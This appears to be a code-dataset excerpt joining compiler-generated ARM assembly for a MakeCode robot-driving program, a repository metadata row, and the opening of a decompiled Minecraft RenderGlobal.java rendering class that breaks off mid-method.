@stackempty locals
.ret.330:
@stackempty locals
bl _pxt_decr_0
add sp, #4*1 ; pop locals 1
turnRight__P330_end:
pop {pc}
@stackempty func
@stackempty args
;
; Function stop
;
.section code
.balign 4
stop__P335_Lit:
.short 0xffff, 33 ; action literal
@stackmark litfunc
push {lr}
@dummystack 4
bl _lambda_setup_0
bl stop__P335
pop {r4, r5, r6, r7, pc}
@stackempty litfunc
.section code
stop__P335:
@stackmark func
@stackmark args
push {lr}
@stackmark locals
stop__P335_locals:
movs r0, #8
movs r1, #0
bl pins::analogWritePin
@stackempty locals
movs r0, #9
movs r1, #0
bl pins::analogWritePin
@stackempty locals
.ret.335:
@stackempty locals
stop__P335_end:
pop {pc}
@stackempty func
@stackempty args
;
; Function inline
;
.section code
.balign 4
inline__P336_Lit:
.short 0xffff, 33 ; action literal
@stackmark litfunc
push {lr}
@dummystack 4
bl _lambda_setup_0
bl inline__P336
pop {r4, r5, r6, r7, pc}
@stackempty litfunc
.section code
inline__P336:
@stackmark func
@stackmark args
push {lr}
@stackmark locals
inline__P336_locals:
movs r0, #21
push {r0} ; proc-arg
bl driveForwards__P337
_proccall2:
bl _clr1_1
@dummystack -1
@stackempty locals
.ret.336:
@stackempty locals
inline__P336_end:
pop {pc}
@stackempty func
@stackempty args
;
; Function driveForwards
;
.section code
.balign 4
driveForwards__P337_Lit:
.short 0xffff, 33 ; action literal
@stackmark litfunc
push {lr}
@dummystack 5
bl _lambda_setup_2
bl driveForwards__P337
add sp, #4*1 ; pop locals 1
pop {r4, r5, r6, r7, pc}
@stackempty litfunc
.section code
driveForwards__P337:
@stackmark func
@stackmark args
push {lr}
movs r0, #0
push {r0} ;loc
@stackmark locals
driveForwards__P337_locals:
bl _pxt_incr_pushR0_8
@dummystack 1
ldr r0, [sp, #4*0] ; estack
ldr r1, _ldlit_5
bl numops::muls
bl _clr1_1
@dummystack -1
push {r0} ; proc-arg
ldr r0, [r6, #8]
bl _pxt_incr_pushR0
@dummystack 1
ldr r0, [sp, #4*1] ; estack
ldr r1, [sp, #4*0] ; estack
bl numops::div
bl _clr2_3
@dummystack -2
push {r0}; tmpstore @1
bl _pxt_decr_4
pop {r0} ; tmpref @1
str r0, [sp, locals@0]
@stackempty locals
bl forward__P341
_proccall3:
@stackempty locals
bl _pxt_incr_pushR0_0
@dummystack 1
bl _conv_4
bl control::waitMicros
bl _clr1_1
@dummystack -1
@stackempty locals
bl stop__P335
_proccall4:
@stackempty locals
.ret.337:
@stackempty locals
bl _pxt_decr_0
add sp, #4*1 ; pop locals 1
driveForwards__P337_end:
pop {pc}
@stackempty func
@stackempty args
;
; Function forward
;
.section code
.balign 4
forward__P341_Lit:
.short 0xffff, 33 ; action literal
@stackmark litfunc
push {lr}
@dummystack 4
bl _lambda_setup_0
bl forward__P341
pop {r4, r5, r6, r7, pc}
@stackempty litfunc
.section code
forward__P341:
@stackmark func
@stackmark args
push {lr}
@stackmark locals
forward__P341_locals:
movs r0, #8
movs r1, #0
bl pins::servoWritePin
@stackempty locals
movs r0, #9
movs r1, #180
bl pins::servoWritePin
@stackempty locals
.ret.341:
@stackempty locals
forward__P341_end:
pop {pc}
@stackempty func
@stackempty args
;
; Function inline
;
.section code
.balign 4
inline__P342_Lit:
.short 0xffff, 33 ; action literal
@stackmark litfunc
push {lr}
@dummystack 4
bl _lambda_setup_0
bl inline__P342
pop {r4, r5, r6, r7, pc}
@stackempty litfunc
.section code
inline__P342:
@stackmark func
@stackmark args
push {lr}
@stackmark locals
inline__P342_locals:
ldr r0, _ldlit_6
bl _pxt_decr
@stackempty locals
.ret.342:
@stackempty locals
inline__P342_end:
pop {pc}
@stackempty func
@stackempty args
.section code
_lambda_setup_0:
push {r4, r5, r6, r7}
mov r5, r0
mov r4, lr
bl pxtrt::getGlobalsPtr
mov r6, r0
bx r4
@dummystack -4
.section code
_clr1_1:
@dummystack 1
mov r7, r0
mov r4, lr
pop {r0}
lsls r1, r0, #30
bne .tag0
cmp r0, #0
beq .tag0
bl pxt::decr
.tag0:
mov r0, r7
bx r4
.section code
_lambda_setup_2:
push {r4, r5, r6, r7}
push {r1}
mov r5, r0
mov r4, lr
bl pxtrt::getGlobalsPtr
mov r6, r0
bx r4
@dummystack -5
.section code
_clr2_3:
@dummystack 2
mov r7, r0
mov r4, lr
pop {r0}
lsls r1, r0, #30
bne .tag0
cmp r0, #0
beq .tag0
bl pxt::decr
.tag0:
pop {r0}
lsls r1, r0, #30
bne .tag1
cmp r0, #0
beq .tag1
bl pxt::decr
.tag1:
mov r0, r7
bx r4
.section code
_conv_4:
@stackmark args
push {lr}
ldr r0, [sp, #4*1] ; estack
bl _numops_toInt
pop {pc}
@stackempty args
_numops_adds:
@scope _numops_adds
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
subs r2, r1, #1
adds r2, r0, r2
bvs .boxed
movs r0, r2
blx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::adds
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_numops_subs:
@scope _numops_subs
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
subs r2, r1, #1
subs r2, r0, r2
bvs .boxed
movs r0, r2
blx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::subs
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_numops_ands:
@scope _numops_ands
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
ands r0, r1
blx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::ands
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_numops_orrs:
@scope _numops_orrs
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
orrs r0, r1
blx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::orrs
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_numops_eors:
@scope _numops_eors
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
eors r0, r1
adds r0, r0, #1
blx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::eors
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
@scope _numops_toInt
_numops_toInt:
asrs r0, r0, #1
bcc .over
blx lr
.over:
push {lr}
lsls r0, r0, #1
bl pxt::toInt
pop {pc}
_numops_fromInt:
lsls r2, r0, #1
asrs r1, r2, #1
cmp r0, r1
bne .over2
adds r0, r2, #1
blx lr
.over2:
push {lr}
bl pxt::fromInt
pop {pc}
.section code
_pxt_incr_56:
ldr r0, [sp, #56]
b _pxt_incr
_pxt_incr_52:
ldr r0, [sp, #52]
b _pxt_incr
_pxt_incr_48:
ldr r0, [sp, #48]
b _pxt_incr
_pxt_incr_44:
ldr r0, [sp, #44]
b _pxt_incr
_pxt_incr_40:
ldr r0, [sp, #40]
b _pxt_incr
_pxt_incr_36:
ldr r0, [sp, #36]
b _pxt_incr
_pxt_incr_32:
ldr r0, [sp, #32]
b _pxt_incr
_pxt_incr_28:
ldr r0, [sp, #28]
b _pxt_incr
_pxt_incr_24:
ldr r0, [sp, #24]
b _pxt_incr
_pxt_incr_20:
ldr r0, [sp, #20]
b _pxt_incr
_pxt_incr_16:
ldr r0, [sp, #16]
b _pxt_incr
_pxt_incr_12:
ldr r0, [sp, #12]
b _pxt_incr
_pxt_incr_8:
ldr r0, [sp, #8]
b _pxt_incr
_pxt_incr_4:
ldr r0, [sp, #4]
b _pxt_incr
_pxt_incr_0:
ldr r0, [sp, #0]
; b _pxt_incr
_pxt_incr:
lsls r3, r0, #30
beq .t0
.skip:
bx lr
.t0:
cmp r0, #0
beq .skip
push {lr}
bl pxt::incr
pop {pc}
_pxt_incr_pushR0_56:
ldr r0, [sp, #56]
b _pxt_incr_pushR0
_pxt_incr_pushR0_52:
ldr r0, [sp, #52]
b _pxt_incr_pushR0
_pxt_incr_pushR0_48:
ldr r0, [sp, #48]
b _pxt_incr_pushR0
_pxt_incr_pushR0_44:
ldr r0, [sp, #44]
b _pxt_incr_pushR0
_pxt_incr_pushR0_40:
ldr r0, [sp, #40]
b _pxt_incr_pushR0
_pxt_incr_pushR0_36:
ldr r0, [sp, #36]
b _pxt_incr_pushR0
_pxt_incr_pushR0_32:
ldr r0, [sp, #32]
b _pxt_incr_pushR0
.balign 4
_ldlit_5:
.word 2000001
_ldlit_2:
.word inline__P329_Lit
_ldlit_3:
.word inline__P336_Lit
_ldlit_4:
.word inline__P342_Lit
_ldlit_6:
.word stop__P335_Lit
_pxt_incr_pushR0_28:
ldr r0, [sp, #28]
b _pxt_incr_pushR0
_pxt_incr_pushR0_24:
ldr r0, [sp, #24]
b _pxt_incr_pushR0
_pxt_incr_pushR0_20:
ldr r0, [sp, #20]
b _pxt_incr_pushR0
_pxt_incr_pushR0_16:
ldr r0, [sp, #16]
b _pxt_incr_pushR0
_pxt_incr_pushR0_12:
ldr r0, [sp, #12]
b _pxt_incr_pushR0
_pxt_incr_pushR0_8:
ldr r0, [sp, #8]
b _pxt_incr_pushR0
_pxt_incr_pushR0_4:
ldr r0, [sp, #4]
b _pxt_incr_pushR0
_pxt_incr_pushR0_0:
ldr r0, [sp, #0]
; b _pxt_incr_pushR0
_pxt_incr_pushR0:
push {r0}
@dummystack -1
lsls r3, r0, #30
beq .t2
.skip2:
bx lr
.t2:
cmp r0, #0
beq .skip2
push {lr}
bl pxt::incr
pop {pc}
.section code
_pxt_decr_56:
ldr r0, [sp, #56]
b _pxt_decr
_pxt_decr_52:
ldr r0, [sp, #52]
b _pxt_decr
_pxt_decr_48:
ldr r0, [sp, #48]
b _pxt_decr
_pxt_decr_44:
ldr r0, [sp, #44]
b _pxt_decr
_pxt_decr_40:
ldr r0, [sp, #40]
b _pxt_decr
_pxt_decr_36:
ldr r0, [sp, #36]
b _pxt_decr
_pxt_decr_32:
ldr r0, [sp, #32]
b _pxt_decr
_pxt_decr_28:
ldr r0, [sp, #28]
b _pxt_decr
_pxt_decr_24:
ldr r0, [sp, #24]
b _pxt_decr
_pxt_decr_20:
ldr r0, [sp, #20]
b _pxt_decr
_pxt_decr_16:
ldr r0, [sp, #16]
b _pxt_decr
_pxt_decr_12:
ldr r0, [sp, #12]
b _pxt_decr
_pxt_decr_8:
ldr r0, [sp, #8]
b _pxt_decr
_pxt_decr_4:
ldr r0, [sp, #4]
b _pxt_decr
_pxt_decr_0:
ldr r0, [sp, #0]
; b _pxt_decr
_pxt_decr:
lsls r3, r0, #30
beq .t0
.skip:
bx lr
.t0:
cmp r0, #0
beq .skip
push {lr}
bl pxt::decr
pop {pc}
_pxt_decr_pushR0_56:
ldr r0, [sp, #56]
b _pxt_decr_pushR0
_pxt_decr_pushR0_52:
ldr r0, [sp, #52]
b _pxt_decr_pushR0
_pxt_decr_pushR0_48:
ldr r0, [sp, #48]
b _pxt_decr_pushR0
_pxt_decr_pushR0_44:
ldr r0, [sp, #44]
b _pxt_decr_pushR0
_pxt_decr_pushR0_40:
ldr r0, [sp, #40]
b _pxt_decr_pushR0
_pxt_decr_pushR0_36:
ldr r0, [sp, #36]
b _pxt_decr_pushR0
_pxt_decr_pushR0_32:
ldr r0, [sp, #32]
b _pxt_decr_pushR0
_pxt_decr_pushR0_28:
ldr r0, [sp, #28]
b _pxt_decr_pushR0
_pxt_decr_pushR0_24:
ldr r0, [sp, #24]
b _pxt_decr_pushR0
_pxt_decr_pushR0_20:
ldr r0, [sp, #20]
b _pxt_decr_pushR0
_pxt_decr_pushR0_16:
ldr r0, [sp, #16]
b _pxt_decr_pushR0
_pxt_decr_pushR0_12:
ldr r0, [sp, #12]
b _pxt_decr_pushR0
_pxt_decr_pushR0_8:
ldr r0, [sp, #8]
b _pxt_decr_pushR0
_pxt_decr_pushR0_4:
ldr r0, [sp, #4]
b _pxt_decr_pushR0
_pxt_decr_pushR0_0:
ldr r0, [sp, #0]
; b _pxt_decr_pushR0
_pxt_decr_pushR0:
push {r0}
@dummystack -1
lsls r3, r0, #30
beq .t2
.skip2:
bx lr
.t2:
cmp r0, #0
beq .skip2
push {lr}
bl pxt::decr
pop {pc}
_cmp_lt:
@scope _cmp_lt
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
subs r0, r1
blt .true
.false:
movs r0, #0
bx lr
.true:
movs r0, #1
bx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::lt
bl numops::toBoolDecr
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_cmp_gt:
@scope _cmp_gt
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
subs r0, r1
bgt .true
.false:
movs r0, #0
bx lr
.true:
movs r0, #1
bx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::gt
bl numops::toBoolDecr
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_cmp_le:
@scope _cmp_le
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
subs r0, r1
ble .true
.false:
movs r0, #0
bx lr
.true:
movs r0, #1
bx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::le
bl numops::toBoolDecr
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_cmp_ge:
@scope _cmp_ge
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
subs r0, r1
bge .true
.false:
movs r0, #0
bx lr
.true:
movs r0, #1
bx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::ge
bl numops::toBoolDecr
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_cmp_eq:
@scope _cmp_eq
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
subs r0, r1
beq .true
.false:
movs r0, #0
bx lr
.true:
movs r0, #1
bx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::eq
bl numops::toBoolDecr
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_cmp_eqq:
@scope _cmp_eqq
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
subs r0, r1
beq .true
.false:
movs r0, #0
bx lr
.true:
movs r0, #1
bx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::eqq
bl numops::toBoolDecr
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_cmp_neq:
@scope _cmp_neq
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
subs r0, r1
bne .true
.false:
movs r0, #0
bx lr
.true:
movs r0, #1
bx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::neq
bl numops::toBoolDecr
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
_cmp_neqq:
@scope _cmp_neqq
lsls r2, r0, #31
beq .boxed
lsls r2, r1, #31
beq .boxed
subs r0, r1
bne .true
.false:
movs r0, #0
bx lr
.true:
movs r0, #1
bx lr
.boxed:
push {r4, lr}
push {r0, r1}
bl numops::neqq
bl numops::toBoolDecr
movs r4, r0
pop {r0}
bl _pxt_decr
pop {r0}
bl _pxt_decr
movs r0, r4
pop {r4, pc}
.balign 4
_pxt_config_data:
.word 0
_js_end:
_program_end:
| 18.168142 | 67 | 0.597067 |
2f18606d66e406f9ab6fb1e2f8058328237ffdc5 | 102,640 | java | Java | mcp/temp/src/minecraft/net/minecraft/client/renderer/RenderGlobal.java | GandelXIV/Cake-client | 5640d06e1675c10ef1699b7cc6ddb78f5babe918 | [
"MIT"
] | 5 | 2021-06-01T14:25:01.000Z | 2022-02-11T10:15:10.000Z | mcp/temp/src/minecraft/net/minecraft/client/renderer/RenderGlobal.java | GandelXIV/Cake-client | 5640d06e1675c10ef1699b7cc6ddb78f5babe918 | [
"MIT"
] | 3 | 2021-02-23T08:47:27.000Z | 2021-02-26T11:58:18.000Z | mcp/temp/src/minecraft/net/minecraft/client/renderer/RenderGlobal.java | GandelXIV/Cake-client | 5640d06e1675c10ef1699b7cc6ddb78f5babe918 | [
"MIT"
] | null | null | null | package net.minecraft.client.renderer;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import com.google.common.collect.Sets;
import com.google.gson.JsonSyntaxException;
import java.io.IOException;
import java.util.EnumSet;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Random;
import java.util.Set;
import java.util.concurrent.Callable;
import javax.vecmath.Matrix4f;
import javax.vecmath.Vector3d;
import javax.vecmath.Vector3f;
import javax.vecmath.Vector4f;
import net.minecraft.block.Block;
import net.minecraft.block.BlockChest;
import net.minecraft.block.BlockEnderChest;
import net.minecraft.block.BlockSign;
import net.minecraft.block.BlockSkull;
import net.minecraft.block.material.Material;
import net.minecraft.block.state.IBlockState;
import net.minecraft.client.Minecraft;
import net.minecraft.client.audio.ISound;
import net.minecraft.client.audio.PositionedSoundRecord;
import net.minecraft.client.multiplayer.WorldClient;
import net.minecraft.client.particle.EntityFX;
import net.minecraft.client.renderer.BlockRendererDispatcher;
import net.minecraft.client.renderer.ChunkRenderContainer;
import net.minecraft.client.renderer.DestroyBlockProgress;
import net.minecraft.client.renderer.GLAllocation;
import net.minecraft.client.renderer.GlStateManager;
import net.minecraft.client.renderer.OpenGlHelper;
import net.minecraft.client.renderer.RenderHelper;
import net.minecraft.client.renderer.RenderList;
import net.minecraft.client.renderer.Tessellator;
import net.minecraft.client.renderer.VboRenderList;
import net.minecraft.client.renderer.ViewFrustum;
import net.minecraft.client.renderer.WorldRenderer;
import net.minecraft.client.renderer.chunk.ChunkRenderDispatcher;
import net.minecraft.client.renderer.chunk.CompiledChunk;
import net.minecraft.client.renderer.chunk.IRenderChunkFactory;
import net.minecraft.client.renderer.chunk.ListChunkFactory;
import net.minecraft.client.renderer.chunk.RenderChunk;
import net.minecraft.client.renderer.chunk.VboChunkFactory;
import net.minecraft.client.renderer.chunk.VisGraph;
import net.minecraft.client.renderer.culling.ClippingHelper;
import net.minecraft.client.renderer.culling.ClippingHelperImpl;
import net.minecraft.client.renderer.culling.Frustrum;
import net.minecraft.client.renderer.culling.ICamera;
import net.minecraft.client.renderer.entity.RenderManager;
import net.minecraft.client.renderer.texture.TextureAtlasSprite;
import net.minecraft.client.renderer.texture.TextureManager;
import net.minecraft.client.renderer.texture.TextureMap;
import net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher;
import net.minecraft.client.renderer.vertex.DefaultVertexFormats;
import net.minecraft.client.renderer.vertex.VertexBuffer;
import net.minecraft.client.renderer.vertex.VertexFormat;
import net.minecraft.client.renderer.vertex.VertexFormatElement;
import net.minecraft.client.resources.IResourceManager;
import net.minecraft.client.resources.IResourceManagerReloadListener;
import net.minecraft.client.shader.Framebuffer;
import net.minecraft.client.shader.ShaderGroup;
import net.minecraft.client.shader.ShaderLinkHelper;
import net.minecraft.crash.CrashReport;
import net.minecraft.crash.CrashReportCategory;
import net.minecraft.entity.Entity;
import net.minecraft.entity.EntityLivingBase;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.entity.projectile.EntityWitherSkull;
import net.minecraft.init.Blocks;
import net.minecraft.init.Items;
import net.minecraft.item.Item;
import net.minecraft.item.ItemDye;
import net.minecraft.item.ItemRecord;
import net.minecraft.tileentity.TileEntity;
import net.minecraft.tileentity.TileEntityChest;
import net.minecraft.util.AxisAlignedBB;
import net.minecraft.util.BlockPos;
import net.minecraft.util.EnumFacing;
import net.minecraft.util.EnumParticleTypes;
import net.minecraft.util.EnumWorldBlockLayer;
import net.minecraft.util.MathHelper;
import net.minecraft.util.MovingObjectPosition;
import net.minecraft.util.ReportedException;
import net.minecraft.util.ResourceLocation;
import net.minecraft.util.Vec3;
import net.minecraft.world.IWorldAccess;
import net.minecraft.world.border.WorldBorder;
import net.minecraft.world.chunk.Chunk;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.lwjgl.opengl.GL11;
public class RenderGlobal implements IWorldAccess, IResourceManagerReloadListener {
private static final Logger field_147599_m = LogManager.getLogger();
private static final ResourceLocation field_110927_h = new ResourceLocation("textures/environment/moon_phases.png");
private static final ResourceLocation field_110928_i = new ResourceLocation("textures/environment/sun.png");
private static final ResourceLocation field_110925_j = new ResourceLocation("textures/environment/clouds.png");
private static final ResourceLocation field_110926_k = new ResourceLocation("textures/environment/end_sky.png");
private static final ResourceLocation field_175006_g = new ResourceLocation("textures/misc/forcefield.png");
private final Minecraft field_72777_q;
private final TextureManager field_72770_i;
private final RenderManager field_175010_j;
private WorldClient field_72769_h;
private Set field_175009_l = Sets.newLinkedHashSet();
private List field_72755_R = Lists.newArrayListWithCapacity(69696);
private ViewFrustum field_175008_n;
private int field_72772_v = -1;
private int field_72771_w = -1;
private int field_72781_x = -1;
private VertexFormat field_175014_r;
private VertexBuffer field_175013_s;
private VertexBuffer field_175012_t;
private VertexBuffer field_175011_u;
private int field_72773_u;
private final Map field_72738_E = Maps.newHashMap();
private final Map field_147593_P = Maps.newHashMap();
private final TextureAtlasSprite[] field_94141_F = new TextureAtlasSprite[10];
private Framebuffer field_175015_z;
private ShaderGroup field_174991_A;
private double field_174992_B = Double.MIN_VALUE;
private double field_174993_C = Double.MIN_VALUE;
private double field_174987_D = Double.MIN_VALUE;
private int field_174988_E = Integer.MIN_VALUE;
private int field_174989_F = Integer.MIN_VALUE;
private int field_174990_G = Integer.MIN_VALUE;
private double field_174997_H = Double.MIN_VALUE;
private double field_174998_I = Double.MIN_VALUE;
private double field_174999_J = Double.MIN_VALUE;
private double field_175000_K = Double.MIN_VALUE;
private double field_174994_L = Double.MIN_VALUE;
private final ChunkRenderDispatcher field_174995_M = new ChunkRenderDispatcher();
private ChunkRenderContainer field_174996_N;
private int field_72739_F = -1;
private int field_72740_G = 2;
private int field_72748_H;
private int field_72749_I;
private int field_72750_J;
private boolean field_175002_T = false;
private ClippingHelper field_175001_U;
private final Vector4f[] field_175004_V = new Vector4f[8];
private final Vector3d field_175003_W = new Vector3d();
private boolean field_175005_X = false;
IRenderChunkFactory field_175007_a;
private double field_147596_f;
private double field_147597_g;
private double field_147602_h;
private boolean field_147595_R = true;
private static final String __OBFID = "CL_00000954";
public RenderGlobal(Minecraft p_i1249_1_) {
this.field_72777_q = p_i1249_1_;
this.field_175010_j = p_i1249_1_.func_175598_ae();
this.field_72770_i = p_i1249_1_.func_110434_K();
this.field_72770_i.func_110577_a(field_175006_g);
GL11.glTexParameteri(3553, 10242, 10497);
GL11.glTexParameteri(3553, 10243, 10497);
GlStateManager.func_179144_i(0);
this.func_174971_n();
this.field_175005_X = OpenGlHelper.func_176075_f();
if(this.field_175005_X) {
this.field_174996_N = new VboRenderList();
this.field_175007_a = new VboChunkFactory();
} else {
this.field_174996_N = new RenderList();
this.field_175007_a = new ListChunkFactory();
}
this.field_175014_r = new VertexFormat();
this.field_175014_r.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.FLOAT, VertexFormatElement.EnumUseage.POSITION, 3));
this.func_174963_q();
this.func_174980_p();
this.func_174964_o();
}
public void func_110549_a(IResourceManager p_110549_1_) {
this.func_174971_n();
}
private void func_174971_n() {
TextureMap var1 = this.field_72777_q.func_147117_R();
for(int var2 = 0; var2 < this.field_94141_F.length; ++var2) {
this.field_94141_F[var2] = var1.func_110572_b("minecraft:blocks/destroy_stage_" + var2);
}
}
public void func_174966_b() {
if(OpenGlHelper.field_148824_g) {
if(ShaderLinkHelper.func_148074_b() == null) {
ShaderLinkHelper.func_148076_a();
}
ResourceLocation var1 = new ResourceLocation("shaders/post/entity_outline.json");
try {
this.field_174991_A = new ShaderGroup(this.field_72777_q.func_110434_K(), this.field_72777_q.func_110442_L(), this.field_72777_q.func_147110_a(), var1);
this.field_174991_A.func_148026_a(this.field_72777_q.field_71443_c, this.field_72777_q.field_71440_d);
this.field_175015_z = this.field_174991_A.func_177066_a("final");
} catch (IOException var3) {
field_147599_m.warn("Failed to load shader: " + var1, var3);
this.field_174991_A = null;
this.field_175015_z = null;
} catch (JsonSyntaxException var4) {
field_147599_m.warn("Failed to load shader: " + var1, var4);
this.field_174991_A = null;
this.field_175015_z = null;
}
} else {
this.field_174991_A = null;
this.field_175015_z = null;
}
}
public void func_174975_c() {
if(this.func_174985_d()) {
GlStateManager.func_179147_l();
GlStateManager.func_179120_a(770, 771, 0, 1);
this.field_175015_z.func_178038_a(this.field_72777_q.field_71443_c, this.field_72777_q.field_71440_d, false);
GlStateManager.func_179084_k();
}
}
protected boolean func_174985_d() {
return this.field_175015_z != null && this.field_174991_A != null && this.field_72777_q.field_71439_g != null && this.field_72777_q.field_71439_g.func_175149_v() && this.field_72777_q.field_71474_y.field_178883_an.func_151470_d();
}
private void func_174964_o() {
Tessellator var1 = Tessellator.func_178181_a();
WorldRenderer var2 = var1.func_178180_c();
if(this.field_175011_u != null) {
this.field_175011_u.func_177362_c();
}
if(this.field_72781_x >= 0) {
GLAllocation.func_74523_b(this.field_72781_x);
this.field_72781_x = -1;
}
if(this.field_175005_X) {
this.field_175011_u = new VertexBuffer(this.field_175014_r);
this.func_174968_a(var2, -16.0F, true);
var2.func_178977_d();
var2.func_178965_a();
this.field_175011_u.func_177360_a(var2.func_178966_f(), var2.func_178976_e());
} else {
this.field_72781_x = GLAllocation.func_74526_a(1);
GL11.glNewList(this.field_72781_x, 4864);
this.func_174968_a(var2, -16.0F, true);
var1.func_78381_a();
GL11.glEndList();
}
}
private void func_174980_p() {
Tessellator var1 = Tessellator.func_178181_a();
WorldRenderer var2 = var1.func_178180_c();
if(this.field_175012_t != null) {
this.field_175012_t.func_177362_c();
}
if(this.field_72771_w >= 0) {
GLAllocation.func_74523_b(this.field_72771_w);
this.field_72771_w = -1;
}
if(this.field_175005_X) {
this.field_175012_t = new VertexBuffer(this.field_175014_r);
this.func_174968_a(var2, 16.0F, false);
var2.func_178977_d();
var2.func_178965_a();
this.field_175012_t.func_177360_a(var2.func_178966_f(), var2.func_178976_e());
} else {
this.field_72771_w = GLAllocation.func_74526_a(1);
GL11.glNewList(this.field_72771_w, 4864);
this.func_174968_a(var2, 16.0F, false);
var1.func_78381_a();
GL11.glEndList();
}
}
private void func_174968_a(WorldRenderer p_174968_1_, float p_174968_2_, boolean p_174968_3_) {
boolean var4 = true;
boolean var5 = true;
p_174968_1_.func_178970_b();
for(int var6 = -384; var6 <= 384; var6 += 64) {
for(int var7 = -384; var7 <= 384; var7 += 64) {
float var8 = (float)var6;
float var9 = (float)(var6 + 64);
if(p_174968_3_) {
var9 = (float)var6;
var8 = (float)(var6 + 64);
}
p_174968_1_.func_178984_b((double)var8, (double)p_174968_2_, (double)var7);
p_174968_1_.func_178984_b((double)var9, (double)p_174968_2_, (double)var7);
p_174968_1_.func_178984_b((double)var9, (double)p_174968_2_, (double)(var7 + 64));
p_174968_1_.func_178984_b((double)var8, (double)p_174968_2_, (double)(var7 + 64));
}
}
}
private void func_174963_q() {
Tessellator var1 = Tessellator.func_178181_a();
WorldRenderer var2 = var1.func_178180_c();
if(this.field_175013_s != null) {
this.field_175013_s.func_177362_c();
}
if(this.field_72772_v >= 0) {
GLAllocation.func_74523_b(this.field_72772_v);
this.field_72772_v = -1;
}
if(this.field_175005_X) {
this.field_175013_s = new VertexBuffer(this.field_175014_r);
this.func_180444_a(var2);
var2.func_178977_d();
var2.func_178965_a();
this.field_175013_s.func_177360_a(var2.func_178966_f(), var2.func_178976_e());
} else {
this.field_72772_v = GLAllocation.func_74526_a(1);
GlStateManager.func_179094_E();
GL11.glNewList(this.field_72772_v, 4864);
this.func_180444_a(var2);
var1.func_78381_a();
GL11.glEndList();
GlStateManager.func_179121_F();
}
}
private void func_180444_a(WorldRenderer p_180444_1_) {
Random var2 = new Random(10842L);
p_180444_1_.func_178970_b();
for(int var3 = 0; var3 < 1500; ++var3) {
double var4 = (double)(var2.nextFloat() * 2.0F - 1.0F);
double var6 = (double)(var2.nextFloat() * 2.0F - 1.0F);
double var8 = (double)(var2.nextFloat() * 2.0F - 1.0F);
double var10 = (double)(0.15F + var2.nextFloat() * 0.1F);
double var12 = var4 * var4 + var6 * var6 + var8 * var8;
if(var12 < 1.0D && var12 > 0.01D) {
var12 = 1.0D / Math.sqrt(var12);
var4 *= var12;
var6 *= var12;
var8 *= var12;
double var14 = var4 * 100.0D;
double var16 = var6 * 100.0D;
double var18 = var8 * 100.0D;
double var20 = Math.atan2(var4, var8);
double var22 = Math.sin(var20);
double var24 = Math.cos(var20);
double var26 = Math.atan2(Math.sqrt(var4 * var4 + var8 * var8), var6);
double var28 = Math.sin(var26);
double var30 = Math.cos(var26);
double var32 = var2.nextDouble() * 3.141592653589793D * 2.0D;
double var34 = Math.sin(var32);
double var36 = Math.cos(var32);
for(int var38 = 0; var38 < 4; ++var38) {
double var39 = 0.0D;
double var41 = (double)((var38 & 2) - 1) * var10;
double var43 = (double)((var38 + 1 & 2) - 1) * var10;
double var45 = 0.0D;
double var47 = var41 * var36 - var43 * var34;
double var49 = var43 * var36 + var41 * var34;
double var53 = var47 * var28 + 0.0D * var30;
double var55 = 0.0D * var28 - var47 * var30;
double var57 = var55 * var22 - var49 * var24;
double var61 = var49 * var22 + var55 * var24;
